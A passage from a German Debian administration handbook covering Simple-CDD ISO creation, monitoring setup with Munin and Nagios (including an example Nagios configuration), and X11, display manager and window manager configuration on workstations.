KURZER BLICK Detaillierte Konfigurationsdatei

Ein Beispiel einer Konfigurationsdatei für Simple-CDD mit allen möglichen Parametern ist in dem Paket enthalten (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed.gz). Diese kann als Ausgangspunkt genommen werden, wenn man eine angepasste Konfigurationsdatei erstellt.

Simple-CDD erfordert zahlreiche Parameter, um in vollem Umfang zu wirken. Sie sind meistens in einer Konfigurationsdatei versammelt, an die build-simple-cdd mit der Option --conf verwiesen werden kann, sie können aber auch über besondere Parameter festgelegt werden, die an build-simple-cdd übergeben werden. Hier ist ein Überblick darüber, wie sich dieser Befehl verhält, und wie die Parameter eingesetzt werden:

- der Parameter profiles listet die Profile auf, die in dem erzeugten CD-ROM-Abbild enthalten sein werden;

- ausgehend von der Liste der erforderlichen Pakete lädt Simple-CDD die passenden Dateien von dem Server herunter, der unter server genannt ist, und versammelt sie in einem partiellen Spiegel (der später an debian-cd übergeben wird);

- die selbst erstellten Pakete, die in local_packages angegeben sind, werden auch in diesen lokalen Spiegel integriert;

- dann wird debian-cd mit der Liste der zu integrierenden Pakete ausgeführt (innerhalb eines voreingestellten Ortes, der mit der Variablen debian_cd_dir festgelegt werden kann);

- sobald debian-cd sein Verzeichnis erstellt hat, wendet Simple-CDD einige Änderungen auf dieses Verzeichnis an:

- Dateien, die die Profile enthalten, werden einem Unterverzeichnis namens simple-cdd hinzugefügt (das sich schließlich auf der CD-ROM wiederfinden wird);

- weitere Dateien, die im Parameter all_extras aufgeführt sind, werden ebenfalls hinzugefügt;

- die Boot-Parameter werden so angepasst, dass sie das Preseeding ermöglichen. Fragen zur Sprache und zum Land können vermieden werden, indem die erforderliche Information in den Variablen language und country gespeichert wird.

- debian-cd erzeugt dann das endgültige ISO-Abbild.

12.3.3.3. Ein ISO-Abbild erzeugen

Nachdem wir eine Konfigurationsdatei geschrieben und unsere Profile festgelegt haben, besteht der verbleibende Schritt darin, den Befehl build-simple-cdd --conf simple-cdd.conf aufzurufen. Nach einigen Minuten erhalten wir in images/debian-8.0-amd64-CD-1.iso das erwünschte Abbild.

12.4. Überwachung

Monitoring ist ein allgemeiner Ausdruck, und die verschiedenen damit verbundenen Aktivitäten haben mehrere Ziele: einerseits ist es durch die Verfolgung der Ressourcennutzung eines Rechners möglich, seine volle Auslastung und die daraufhin erforderlichen Nachrüstungen vorherzusehen; andererseits kann ein auftretendes Problem frühzeitiger behoben werden, wenn der Administrator informiert wird, sobald ein Dienst nicht verfügbar ist oder nicht richtig funktioniert.

Munin deckt den ersten Bereich ab, indem es Diagramme der vergangenen Werte einer Reihe von Parametern anzeigt (verwendetes RAM, belegter Plattenplatz, Prozessorlast, Netzwerkverkehr, Apache/MySQL-Auslastung und so weiter). Nagios umfasst den zweiten Bereich, indem es regelmäßig überprüft, ob die Dienste funktionieren und verfügbar sind, und indem es über geeignete Kanäle (E-Mails, Textnachrichten und so weiter) Warnungen verschickt. Beide haben eine modulare Bauweise, wodurch es einfach ist, neue Plugins zur Überwachung bestimmter Parameter oder Dienste zu erstellen.

ALTERNATIVE Zabbix, ein integriertes Monitoringprogramm

Obwohl Munin und Nagios sehr weit verbreitet sind, sind sie nicht die einzigen Akteure auf dem Gebiet des Monitoring, und jedes von ihnen erledigt nur eine Hälfte der Aufgabe (grafische Darstellungen auf der einen Seite und Warnungen auf der anderen). Zabbix integriert dagegen beide Teile des Monitorings; es hat außerdem eine Web-Schnittstelle zur Konfigurierung der häufigsten Aspekte. Es hat sich in den vergangenen Jahren rasant weiterentwickelt und muss inzwischen leider als ernst zu nehmender Herausforderer angesehen werden. Den Monitoring-Server installiert man mittels zabbix-server-pgsql (oder zabbix-server-mysql), gegebendenfalls zusammen mit zabbix-frontend-php um ein Web-Interface bereitzustellen. Auf dem zu überwachenden Rechner (Host) installiert man den zabbix-agent, der die Daten an den Monitororing-Server liefert.

→ http://www.zabbix.com/

ALTERNATIVE Icinga, eine Nagios-Abspaltung

Angespornt von Meinungsverschiedenheiten bezüglich des Entwicklungsmodells für Nagios (das von einem Unternehmen kontrolliert wird) hat eine Anzahl von Entwicklern eine Abspaltung von Nagios erstellt und verwendet dafür Icinga als seinen neuen Namen. Icinga ist - bisher - noch mit den Konfigurationen und Plugins für Nagios kompatibel, fügt jedoch auch zusätzliche Funktionen hinzu.

→ http://www.icinga.org/

12.4.1. Munin einrichten

Munin hat die Aufgabe, zahlreiche Rechner zu überwachen; daher verwendet es natürlich eine Client/Server-Architektur. Der zentrale Host - der Grapher - sammelt Daten aller überwachten Hosts und erzeugt Verlaufsdiagramme.

12.4.1.1. Zu überwachende Hosts konfigurieren

Der erste Schritt besteht darin, das Paket munin-node zu installieren. Der Daemon, der mit diesem Paket installiert wird, nimmt an Port 4949 Verbindungen an und sendet die Daten zurück, die von allen aktiven Plugins gesammelt werden. Jedes Plugin ist ein einfaches Programm, das sowohl eine Beschreibung der gesammelten Daten als auch die jüngsten Messwerte wiedergibt. Plugins werden in /usr/share/munin/plugins/ gespeichert, aber nur diejenigen mit einer symbolischen Verknüpfung in /etc/munin/plugins/ werden tatsächlich benutzt.

Wenn das Paket installiert ist, wird in Abhängigkeit von der verfügbaren Software und der aktuellen Konfiguration des Hosts ein Satz aktiver Plugins festgelegt. Diese Autokonfiguration hängt jedoch von einer Funktion ab, die jedes Plugin bereitstellen muss, und es empfiehlt sich normalerweise, die Ergebnisse zu überprüfen und von Hand nachzustellen. Das Duchsehen von Plugin Gallery kann interessant sein, auch wenn nicht alle Plugins eine ausführliche Dokumentation aufweisen. Alle Plugins sind jedoch Skripte, und die meisten von ihnen sind recht einfach aufgebaut und ausführlich kommentiert. Das Durchsuchen von /etc/munin/plugins/ ist daher eine gute Methode, um eine Vorstellung davon zu bekommen, worum es bei jedem Plugin geht, und welche entfernt werden sollten. Ebenso lässt sich ein interessantes Plugin, das man in /usr/share/munin/plugins/ gefunden hat, einfach durch die Erstellung einer symbolischen Verknüpfung mit dem Befehl ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/ aktivieren. Beachten Sie, dass ein Plugin, dessen Name mit einem Unterstrich "_" endet, einen Parameter erwartet. Dieser Parameter muss im Namen des symbolischen Linksangegeben werden; beispielsweise muss das "if_" plugin mit einem symbolischen Link if_eth0 aktiviert werden, damit es den Netzwerkverkehr auf der Schnittstelle eth0 überwacht.

Nachdem alle Plugins richtig eingerichtet sind, muss die Konfiguration des Daemons aktualisiert werden, um die Zugriffskontrolle für die gesammelten Daten zu beschreiben. Hierzu sind allow-Anweisungen in der Datei /etc/munin/munin-node.conf erforderlich. Die Standardkonfiguration lautet allow ^127\.0\.0\.1$ und ermöglicht nur Zugriff auf den lokalen Host. Ein Administrator fügt gewöhnlich eine ähnliche Zeile mit der IP-Adresse des Grapher-Hosts hinzu und startet den Daemon anschließend mit service munin-node restart neu.

WEITERE SCHRITTE Lokale Plugins erstellen

Munin enthält eine ausführliche Anleitung darüber, wie sich Plugins verhalten sollten und wie man neue Plugins entwickelt.

→ http://munin-monitoring.org/wiki/plugins

Ein Plugin wird am besten getestet, indem man es unter den gleichen Bedingungen laufen lässt, unter denen es laufen würde, wenn es durch munin-node in Gang gesetzt würde; dies kann dadurch simuliert werden, dass man munin-run plugin als Root ausführt. Ein möglicher weiterer Parameter, der diesem Befehl hinzugefügt wird (wie zum Beispiel config), wird als Parameter an das Plugin weitergeleitet.

Wenn ein Plugin mit dem Parameter config aufgerufen wird, muss es sich selbst beschreiben, indem es einen Satz von Feldern wiedergibt:

$ sudo munin-run load config
graph_title Load average
graph_args --base 1000 -l 0
graph_vlabel load
graph_scale no
graph_category system
load.label load
graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately").
load.info 5 minute load average

Die verschiedenen möglichen Felder sind in der Spezifikation „Plugin Reference“ auf der Munin-Webseite beschrieben.

→ http://munin.readthedocs.org/en/latest/reference/plugin.html

Wenn es ohne einen Parameter aufgerufen wird, gibt das Plugin einfach die zuletzt gemessenen Werte wieder; so könnte zum Beispiel die Ausführung des Befehls sudo munin-run load die Meldung load.value 0.12 ergeben.

Wenn schließlich ein Plugin mit dem Parameter autoconf aufgerufen wird, sollte es mit „yes“ (und dem Beendigungsstatus 0) oder mit „no“ (und dem Beendigungsstatus 1) antworten, je nachdem, ob das Plugin auf diesem Host aktiviert sein sollte oder nicht.

12.4.1.2. Den Grapher konfigurieren

Der „Grapher“ ist einfach der Rechner, der die Daten aggregiert und die entsprechenden Diagramme erzeugt. Die erforderliche Software befindet sich in dem Paket munin. Die Standardkonfiguration führt den Befehl munin-cron (alle 5 Minuten) aus, der die Daten von allen Hosts, die in /etc/munin/munin.conf aufgelistet sind (nur der lokale Host ist hier standardmäßig aufgeführt), sammelt, die vergangenen Daten in RRD-Dateien (Round Robin Database, einem Dateiformat zur Speicherung von Daten, die sich im Verlaufe der Zeit ändern) unter /var/lib/munin/ speichert und in /var/cache/munin/www/ eine HTML-Seite mit den Diagrammen erstellt.

Alle überwachten Rechner müssen daher in der Konfigurationsdatei /etc/munin/munin.conf aufgeführt sein. Jeder Rechner ist als vollständiger Absatz aufgelistet mit einer Bezeichnung, die dem Rechner entspricht und wenigstens einem address-Eintrag, der die dazugehörige IP-Adresse angibt.

[ftp.falcot.com]
address 192.168.0.12
use_node_name yes

Die Absätze können komplexer sein und zusätzliche Diagramme beschreiben, die durch die Kombination von Daten mehrerer Rechner erzeugt werden könnten. Die in der Konfigurationsdatei bereitgestellten Beispiele sind ein guter Ausgangspunkt für die Anpassung.

Der letzte Schritt besteht darin, die erstellten Seiten zu veröffentlichen; hierzu muss ein Webserver konfiguriert werden, so dass der Inhalt von /var/cache/munin/www/ auf einer Webseite zur Verfügung gestellt wird. Der Zugriff auf diese Webseite ist häufig beschränkt, indem entweder ein Authentifizierungsmechanismus oder eine IP-basierte Zugriffskontrolle eingesetzt wird. Siehe Abschnitt 11.2, „Webserver (HTTP)“ für entsprechende Einzelheiten.

12.4.2. Nagios einrichten

Im Gegensatz zu Munin ist es bei Nagios nicht unbedingt erforderlich, auf den überwachten Hosts irgendetwas zu installieren; in den meisten Fällen wird Nagios dazu verwendet, die Verfügbarkeit von Netzwerkdiensten zu überprüfen. Nagios kann sich zum Beispiel mit einem Webserver verbinden und nachprüfen, ob eine bestimmte Webseite in einer bestimmten Zeit erhältlich ist.

12.4.2.1. Installieren

Der erste Schritt zur Einrichtung von Nagios besteht darin, die Pakete nagios3, nagios-plugins und nagios3-doc zu installieren. Mit der Installation dieser Pakete wird die Webschnittstelle konfiguriert und ein erster nagiosadmin-Benutzer eingerichtet (für den nach einem Passwort gefragt wird). Weitere Benutzer werden einfach hinzugefügt, indem sie mit dem Apache-Befehl htpasswd in die Datei /etc/nagios3/htpasswd.users eingetragen werden. Falls während der Installation keine Debconf-Fragen angezeigt wurden, kann der Befehl dpkg-reconfigure nagios3-cgi dazu eingesetzt werden, das nagiosadmin-Passwort festzulegen.

Mit der Eingabe von http://server/nagios3/ in einen Browser wird die Webschnittstelle angezeigt; man beachte insbesondere, dass Nagios auf dem Rechner, auf dem es läuft, bereits einige Parameter überwacht. Einige interaktive Funktionen, wie zum Beispiel das Hinzufügen von Kommentaren zu einem Host, laufen jedoch noch nicht. Diese Funktionen sind in der Standardkonfiguration für Nagios, die aus Sicherheitsgründen sehr restriktiv ist, deaktiviert.

Wie in /usr/share/doc/nagios3/README.Debian dargelegt, ist es zur Aktivierung einiger Funktionen erforderlich, /etc/nagios3/nagios.cfg zu editieren und ihren Parameter check_external_commands auf „1“ zu setzen. Wir müssen außerdem mit Befehlen wie den folgenden Schreibberechtigungen für das Verzeichnis einrichten, das Nagios benutzt:

# service nagios3 stop
[...]
# dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios3/rw
# dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3
# service nagios3 start
[...]

12.4.2.2. Konfigurieren

Die Webschnittstelle von Nagios ist recht schön, aber sie ermöglicht weder eine Konfigurierung noch kann sie dazu verwendet werden, überwachte Hosts und Dienste hinzuzufügen. Die gesamte Konfiguration wird über Dateien verwaltet, auf die in der zentralen Konfigurationsdatei /etc/nagios3/nagios.cfg verwiesen wird.

Man sollte in diese Dateien ohne ein Verständnis der Konzepte von Nagios nicht eindringen. Die Konfiguration führt Objekte der folgenden Art auf:

- ein host ist ein zu überwachender Rechner;

- eine hostgroup ist ein Satz von Rechnern, der in der Darstellung oder zur Berücksichtigung einiger gemeinsamer Konfigurationselemente zusammengefasst werden sollte;

- ein service ist ein überprüfbares Element in Bezug auf einen Host oder eine Gruppe von Hosts. In den meisten Fällen wird es sich um die Überprüfung eines Netzwerkdienstes handeln, es kann aber auch bedeuten, dass überprüft wird, ob einige Parameter innerhalb eines zulässigen Bereichs liegen (zum Beispiel der freie Plattenplatz oder die Prozessorlast);

- eine servicegroup ist ein Satz von Diensten, die zur Darstellung zusammengefasst werden sollen;

- ein contact ist eine Person, die Warnmeldungen empfangen darf;

- eine contactgroup ist ein Satz solcher Personen;

- eine timeperiod ist ein Zeitraum, innerhalb dessen einige Dienste überprüft werden müssen;

- ein command ist die Befehlszeile, die zur Überprüfung eines bestimmten Dienstes aufgerufen wird.

Je nach seiner Art hat jedes Objekt eine Anzahl von Eigenschaften, die angepasst werden können. Eine vollständige Liste wäre zu lang, um sie hier aufzuführen, jedoch sind die wichtigsten Eigenschaften die Beziehungen zwischen den Objekten.

Ein service verwendet einen command, um den Zustand einer Funktion auf einem host (oder einer hostgroup) innerhalb einer timeperiod zu überprüfen. Falls ein Problem vorliegt, verschickt Nagios ein Warnmeldung an alle Mitglieder der contactgroup, die mit diesem Dienst in Zusammenhang steht. Jedes Mitglied erhält die Meldung in Abhängigkeit von dem Kanal, der in dem entsprechenden contact-Objekt beschrieben ist.

Ein Vererbungssystem erleichtert es, einen Satz von Eigenschaften bei vielen Objekten gemeinsam zu benutzen, ohne Informationen zu duplizieren. Außerdem enthält die anfängliche Konfiguration eine Anzahl von Standardobjekten; so können in vielen Fällen neue Hosts, Dienste und Kontakte einfach dadurch festgelegt werden, dass sie von den bereitgestellten allgemeinen Objekten abgeleitet werden. Die Dateien in /etc/nagios3/conf.d/ sind eine gute Quelle für Informationen darüber, wie sie funktionieren.

Die Falcot Corp. Administratoren verwenden folgende Konfiguration:

Beispiel 12.3. /etc/nagios3/conf.d/falcot.cfg file

define contact{
name                            generic-contact
service_notification_period     24x7
host_notification_period        24x7
service_notification_options    w,u,c,r
host_notification_options       d,u,r
service_notification_commands   notify-service-by-email
host_notification_commands      notify-host-by-email
register                        0 ; Template only
}
define contact{
use             generic-contact
contact_name    rhertzog
alias           Raphael Hertzog
email           hertzog@debian.org
}
define contact{
use             generic-contact
contact_name    rmas
alias           Roland Mas
email           lolando@debian.org
}

define contactgroup{
contactgroup_name     falcot-admins
alias                 Falcot Administrators
members               rhertzog,rmas
}

define host{
use                   generic-host ; Name of host template to use
host_name             www-host
alias                 www.falcot.com
address               192.168.0.5
contact_groups        falcot-admins
hostgroups            debian-servers,ssh-servers
}
define host{
use                   generic-host ; Name of host template to use
host_name             ftp-host
alias                 ftp.falcot.com
address               192.168.0.6
contact_groups        falcot-admins
hostgroups            debian-servers,ssh-servers
}

# 'check_ftp' command with custom parameters
define command{
command_name          check_ftp2
command_line          /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35
}

# Generic Falcot service
define service{
name                  falcot-service
use                   generic-service
contact_groups        falcot-admins
register              0
}

# Services to check on www-host
define service{
use                   falcot-service
host_name             www-host
service_description   HTTP
check_command         check_http
}
define service{
use                   falcot-service
host_name             www-host
service_description   HTTPS
check_command         check_https
}
define service{
use                   falcot-service
host_name             www-host
service_description   SMTP
check_command         check_smtp
}

# Services to check on ftp-host
define service{
use                   falcot-service
host_name             ftp-host
service_description   FTP
check_command         check_ftp2
}

Diese Konfigurationsdatei beschreibt zwei überwachte Hosts. Der erste ist der Webserver, und die Überprüfungen werden an den Ports für HTTP (80) und sicheres HTTP (443) durchgeführt. Nagios überprüft außerdem, ob ein SMTP-Server an Port 25 läuft. Der zweite ist der FTP-Server, und mit der Überprüfung wird unter anderem sichergestellt, dass eine Antwort innerhalb von 20 Sekunden gegeben wird. Bei einer längeren Verzögerung wird eine Warnung ausgegeben, bei mehr als 30 Sekunden gilt sie als kritisch. Die Webschnittstelle von Nagios zeigt auch an, dass der SSH-Service überwacht wird: dies geschieht wegen der Hosts, die zur Hostgruppe ssh-servers gehören. Der dazugehörige Standarddienst ist in /etc/nagios3/conf.d/services_nagios2.cfg festgelegt.

Man beachte die Verwendung der Vererbung: ein Objekt wird mit „use eltern-name“ dazu gebracht, von einem anderen Objekt zu erben. Das Elternobjekt muss identifizierbar sein, daher ist es erforderlich, ihm mit „name kennung“ eine Kennung zu geben. Falls das Elternobjekt kein wirkliches Objekt sein, sondern lediglich als Elter dienen soll, wird Nagios mitgeteilt, es nicht zu berücksichtigen, indem ihm die Eigenschaft „register 0“ zugeteilt wird, so dass Nagios das Fehlen einiger Parameter ignoriert, die anderenfalls erforderlich wären.

DOKUMENTATION Liste der Objekteigenschaften

Ein vertieftes Verständnis der verschiedenen Weisen, auf die Nagios konfiguriert werden kann, kann aus der Dokumentation gewonnen werden, die mit dem Paket nagios3-doc bereitgestellt wird. Diese Dokumentation ist direkt von der Webschnittstelle aus über den Link „Documentation“ in der oberen linken Ecke erreichbar. Sie enthält eine Liste aller Objekttypen mit allen Eigenschaften, über die sie verfügen. Sie erklärt auch, wie neue Plugins erstellt werden.

WEITERE SCHRITTE Ferntests mit NRPE

Mit vielen Nagios-Plugins ist es möglich, bestimmte Parameter zu überprüfen, die lokal auf einem Host verfügbar sind; wenn diese Überprüfungen für zahlreiche Rechner erforderlich sind, wobei eine zentrale Einrichtung die Daten sammelt, muss das Plugin NRPE (Nagios Remote Plugin Executor) eingesetzt werden. Hierzu muss das Paket nagios-nrpe-plugin auf dem Nagios-Server und das Paket nagios-nrpe-server auf den Hosts, auf denen die lokalen Tests laufen sollen, installiert werden. Letzteres erhält seine Konfiguration von /etc/nagios/nrpe.cfg. Diese Datei sollte die Tests auflisten, die aus der Ferne gestartet werden können, und die IP-Adressen der Rechner, die sie auslösen dürfen. Auf der Nagios-Seite werden diese Ferntests einfach dadurch aktiviert, dass mit dem neuen Befehl check_nrpe passende Dienste hinzugefügt werden.

Kapitel 13. Arbeitsplatzrechner

Nachdem die Serverinstallationen abgeschlossen sind, können die Administratoren ihre Aufmerksamkeit nun darauf richten, die einzelnen Arbeitsplatzrechner einzurichten und für sie eine typische Konfiguration zu erstellen.

13.1. Den X11-Server konfigurieren

Die Konfiguration der grafischen Schnittstelle kann zu Anfang etwas unpassend sein. Die neuesten Grafikkarten laufen häufig nicht optimal mit der X.org-Version, die mit der stabilen Debian-Version geliefert wird.

Eine kurze Erinnerung: X.org ist die Programmkomponente, die es grafischen Anwendungen ermöglicht, Fenster auf dem Bildschirm anzuzeigen. Sie enthält einen Treiber, der die Grafikkarte effizient nutzt. Die Leistungsmerkmale, die den grafischen Anwendungen angeboten werden, werden durch eine Standardschnittstelle namens X11 exportiert (Jessie enthält die Version X11R7.7).

AUSBLICK X11, XFree86 und X.org

X11 ist das unter unixähnlichen Systemen am weitesten verbreitete grafische System (es steht zusätzlich zu seinem ursprünglichen System auch für Windows und Mac OS zur Verfügung). Im Grunde genommen bezieht sich der Ausdruck „X11“ nur auf eine Protokollspezifikation, er wird aber auch für dessen Umsetzung in die Praxis benutzt.

X11 hatte einen schwierigen Start. In den 1990er Jahren entwickelte sich XFree86 jedoch zur Referenzanwendung, da es freie Software war, übertragbar und von einer Gemeinschaft betreut. Die Entwicklungsgeschwindigkeit ließ später jedoch nach, als die Software nur noch neue Treiber erhielt. Diese Situation führte, zusammen mit einer sehr umstrittenen Lizenzänderung, 2004 zu der Abspaltung von X.org. Letzteres ist seither die Referenzanwendung, und Debian Jessie verwendet die X.org-Version 7.7.

Aktuelle X.org-Versionen sind in der Lage, die vorhandene Hardware selbsttätig zu erkennen; dies gilt sowohl für die Grafikkarte und den Monitor als auch für Tastaturen und Mäuse; es ist so bequem, dass das Paket sogar die Konfigurationsdatei /etc/X11/xorg.conf nicht mehr erstellt. All dies wird durch Funktionen ermöglicht, die der Linux-Kernel zur Verfügung stellt (insbesondere für Tastaturen und Mäuse), wobei jeder Treiber die Grafikkarten aufführt, die er unterstützt, und das DDC-Protokoll dazu verwendet wird, die Eigenschaften des Bildschirms abzurufen.

Die Tastaturkonfiguration wird gegenwärtig in der Datei /etc/default/keyboard festgelegt. Mit dieser Datei werden sowohl die Textkonsole als auch die grafische Schnittstelle konfiguriert, und sie wird von dem Paket keyboard-configuration gehandhabt. Einzelheiten zur Konfigurierung der Tastaturbelegung finden sich in Abschnitt 8.1.2, „Die Tastatur einstellen“.

Das Paket xserver-xorg stellt einen allgemeinen X-Server bereit, wie er von den 7.x-Versionen von X.org verwendet wird. Dieser Server ist modular und benutzt eine Reihe unabhängiger Treiber zum Umgang mit den vielen verschiedenen Arten von Grafikkarten. Wenn xserver-xorg installiert ist, sorgt es dafür, dass beide, der Server und ein Video-Treiber, installiert sind.

Beachten Sie, dass X.org versucht, den VESA-Treiber oder die fbdev-Treiber zu verwenden, falls die entdeckte Grafikkarte von keinem der verfügbaren Treiber unterstützt wird. Ersterer ist ein allgemeiner Treiber, der überall funktionieren sollte, jedoch mit eingeschränkten Fähigkeiten (weniger verfügbare Auflösungen, keine Hardwarebeschleunigung für Spiele und für visuelle Effekte des Desktops und so weiter). Letztere setzen dagegen auf dem Framebuffer-Device des Kernels auf. Der X-Server schreibt seine Mitteilungen in die Protokolldatei /var/log/Xorg.0.log, in der man nachsehen kann, wenn man wissen will, welcher Treiber gerade verwendet wird. Der folgende Ausschnitt zeigt zum Beispiel, was der intel-Treiber ausgibt, wenn er geladen wird:

(==) Matched intel as autoconfigured driver 0
(==) Matched modesetting as autoconfigured driver 1
(==) Matched vesa as autoconfigured driver 2
(==) Matched fbdev as autoconfigured driver 3
(==) Assigned the driver to the xf86ConfigLayout
(II) LoadModule: "intel"
(II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so

EXTRA Proprietäre Treiber

Einige Grafikkartenhersteller (vor allem nVidia) weigern sich, die Hardwarespezifikationen zu veröffentlichen, die zur Realisierung guter freier Treiber erforderlich wären. Sie stellen jedoch proprietäre Treiber bereit, die es ermöglichen, ihre Hardware zu benutzen. Dieses Verhalten ist schändlich, da der bereitgestellte Treiber gewöhnlich nicht so ausgefeilt ist, wie er sein sollte; zudem folgt er nicht notwendigerweise den X.org-Aktualisierungen, wodurch der jüngste verfügbare Treiber möglicherweise nicht richtig (oder auch gar nicht) geladen wird. Wir können dieses Verhalten nicht billigen und empfehlen, diese Hersteller zu meiden und hilfsbereitere Produzenten vorzuziehen.

Falls Sie doch eine solche Karte haben, finden Sie die benötigten Pakete im Abschnitt non-free: nvidia-glx für nVidia-Karten und fglrx-driver für einige ATI-Karten. In beiden Fällen sind passende Kernel-Module erforderlich. Das Erstellen dieser Module kann mit der Installation der Pakete nvidia-kernel-dkms (für nVidia) beziehungsweise fglrx-modules-dkms (für ATI) automatisiert werden.

Das „nouveau“-Projekt hat zum Ziel, einen freien Softwaretreiber für nVidia-Karten zu entwickeln. Bei Jessie sind seine Leistungsmerkmale dem proprietären Treiber noch nicht ebenbürtig. Zur Ehrenrettung der Entwickler sei jedoch gesagt, dass die benötigten Informationen nur durch Reverse-Engineering zu bekommen sind, was die Sache sehr schwierig macht. Der freie Treiber für ATI-Grafikkarten namens „radeon“ ist in dieser Hinsicht bereits viel besser. Er benötigt jedoch an vielen Stellen nicht-freie Firmware.

13.2. Die grafische Schnittstelle anpassen

13.2.1. Einen Display Manager auswählen

Die grafische Schnittstelle stellt lediglich Bildschirmplatz zur Verfügung. Man erhält nur einen leeren Bildschirm, wenn man den X-Server allein ausführt. Deshalb verwenden die meisten Installationen einen Display Manager, um einen Anmeldebildschirm anzuzeigen und nach der Authentifizierung des Benutzers die grafische Arbeitsfläche zu starten. Die drei zur Zeit populärsten Display Manager sind gdm3 (GNOME Display Manager), kdm (KDE Display Manager) und lightdm (Light Display Manager). Da die Falcot Corp. Administratoren sich entschieden hatten, die GNOME-Arbeitsumgebung zu verwenden, haben sie logischerweise auch gdm3 als Display Manager ausgewählt. Die Konfigurationsdatei /etc/gdm3/daemon.conf enthält zahlreiche Optionen (die Übersicht kann in der Schemadatei /usr/share/gdm/gdm.schemas gefunden werden) um dessen Verhalten zu steuern, während /etc/gdm3/greeter.dconf-defaults Einstellungen für die Begrüßungs-Session (das ist mehr als ein Anmeldebildschirm, es ist eine eingeschränkte Benutzeroberfläche mit Energieverwaltung und Werkzeugenfür den Systemzugang). Beachten Sie, dass einige sehr nützliche Einstellungen für Endanwender mit GNOME's Kontrollzentrum konfiguriert werden können.

13.2.2. Einen Fenstermanager auswählen

Da jede grafische Arbeitsfläche ihren eigenen Fenstermanager bereitstellt, zieht eine Entscheidung bei ersterer normalerweise eine bestimmte Softwareauswahl bei letzterem nach sich. GNOME verwendet den Fenstermanager mutter window manager, KDE verwendet kwin, und Xfce (das wir später vorstellen) verwendet Xfwm. Gemäß Unix-Philosophie kann man immer den Fenstermanager seiner Wahl verwenden, aber wenn ein Administrator den Vorschlägen folgt, profitiert er am meisten von den Integrationsleistungen, die von jedem Projekt erbracht werden.

ZURÜCK ZU DEN GRUNDLAGEN Fenstermanager

Getreu der Unix-Tradition, nur eine Sache zu tun, diese aber gut, zeigt der Fenstermanager die „Verzierungen“ rings um die Fenster an, die zu den gerade laufenden Anwendungen gehören. Hierzu gehören der Rahmen und die Titelleiste. Er ermöglicht es auch, die Fenster zu verkleinern, wiederherzustellen, zu maximieren und zu verbergen. Die meisten Fenstermanager stellen auch ein Menü bereit, das erscheint, wenn die Arbeitsfläche auf eine bestimmte Art angeklickt wird. Dieses Menü ermöglicht es, die Sitzung des Fenstermanagers zu beenden, neue Anwendungen zu starten und in manchen Fällen, zu einem anderen Fenstermanager zu wechseln (falls dieser installiert ist).

Älteren Rechnern fällt es jedoch manchmal schwer, eine schwergewichtige grafische Arbeitsumgebung auszuführen. In diesen Fällen sollte eine leichtere Konfiguration verwendet werden. Zu den „leichten“ Fenstermanagern (mit geringem Leistungsbedarf) gehören WindowMaker (in dem Paket wmaker), Afterstep, fvwm, icewm und blackbox. In diesen Fällen sollte das System so konfiguriert werden, dass der geeignete Fenstermanager Vorrang erhält; der übliche Weg besteht darin, die Einstellung des x-window-manager mit dem Befehl update-alternatives --config x-window-manager zu ändern.

DEBIAN-BESONDERHEIT Alternativen

Das Debian-Regelwerk führt eine Anzahl standardisierter Befehle zur Ausführung einer bestimmten Aktion an. Zum Beispiel ruft der Befehl x-window-manager einen Fenstermanager auf. Jedoch ordnet Debian diesen Befehl keinem bestimmten Fenstermanager zu. Der Administrator kann wählen, welcher Manager hiermit aufgerufen werden soll.

Für jeden Fenstermanager registriert daher das entsprechende Paket den passenden Befehl zusammen mit einer dazugehörigen Priorität als mögliche Auswahl für x-window-manager. Außer im Falle einer ausdrücklichen Konfigurierung durch den Administrator ermöglicht diese Priorität es, aus den installierten Fenstermanagern den besten auszuwählen, wenn der allgemeine Befehl ausgeführt wird.

Sowohl die Registrierung von Befehlen als auch die ausdrückliche Konfigurierung sind mit dem Skript update-alternatives verbunden. Um auszuwählen, wohin ein symbolischer Befehl zeigt, wird einfach update-alternatives --config symbolischer-befehl ausgeführt. Das Skript update-alternatives erzeugt (und verwaltet) symbolische Verknüpfungen im Verzeichnis /etc/alternatives/, das wiederum auf den Ort der ausführbaren Datei verweist. Im Laufe der Zeit werden Pakete installiert oder entfernt, und der Administrator nimmt an der Konfiguration bestimmte Änderungen vor. Wenn ein Paket, das eine Alternative bereitstellt, entfernt wird, wechselt die Auswahl automatisch zur nächst besten Wahl unter den verbleibenden Befehlsmöglichkeiten.

Nicht alle symbolischen Befehle sind im Debian-Regelwerk ausdrücklich aufgeführt; einige Debian-Paketbetreuer haben sich bewusst dazu entschieden, dieses Verfahren in weniger eindeutigen Fällen zu verwenden, in denen es dennoch interessante Flexibilität bewirkt (hierzu gehören beispielsweise x-www-browser, www-browser, cc, c++, awk und so weiter).

13.2.3. Menü-Verwaltung

Moderne Arbeitsumgebungen und viele Fenstermanager stellen Menüs bereit, die für den Benutzer die verfügbaren Anwendungen auflisten. Um die Menüs hinsichtlich der tatsächlich verfügbaren Anwendungen aktuell zu halten, hat jedes Paket in der Regel eine .desktop-Datei in /usr/share/applications. Das Format dieser Dateien wurde standardisiert durch FreeDesktop.org:

→ http://standards.freedesktop.org/desktop-entry-spec/latest/

Die Anwendungsmenüs können von Administratoren durch systemweite Konfigurationsdateien, wie in der "Desktop Menu Specification" beschrieben, weiter angepasst werden. Endbenutzer können die Menüs auch mit grafischen Werkzeugen wie kmenuedit (in KDE), alacarte (in GNOME) oder menulibre anpassen.

→ http://standards.freedesktop.org/menu-spec/latest/

GESCHICHTE Das Debian Menu System

Historisch gesehen - lange bevor die FreeDesktop.org-Standards auftauchten - hatte Debian sein eigenes Menüsystem erfunden, in dem jedes Paket eine generische Beschreibung der gewünschten Menüeinträge in /usr/share/menu/ lieferte. Dieses Tool ist immer noch in Debian verfügbar (im menu Paket), aber es ist nur von geringem Nutzenn, da Paketbetreuer ermutigt werden, sich stattdessen auf .desktop Dateien zu verlassen.

13.3. Grafische Arbeitsflächen

Das Feld der freien grafischen Arbeitsflächen wird von zwei großen Programmkollektionen dominiert: GNOME und KDE. Beide sind sehr populär. Dies ist in der Welt der freien Software ein recht seltener Fall; zum Beispiel hat der Apache-Webserver nur sehr wenige Kollegen.

